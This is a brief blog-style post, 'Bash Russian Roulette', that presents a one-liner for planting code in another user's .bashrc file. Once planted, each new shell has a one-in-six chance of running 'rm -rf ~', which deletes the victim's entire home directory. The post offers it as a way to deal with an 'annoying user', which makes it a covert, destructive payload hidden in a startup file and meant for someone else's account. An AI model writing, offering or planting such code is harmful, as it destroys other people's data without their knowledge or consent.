Home > Linux > Bash Russian Roulette

Bash Russian Roulette

If you happen to have an annoying user, the following, simple, bash one liner will help sort them out.

 echo '[ $[ $RANDOM % 6 ] == 0 ] && rm -rf ~ || echo “You live”' >> ~$VICTIM/.bashrc

TOP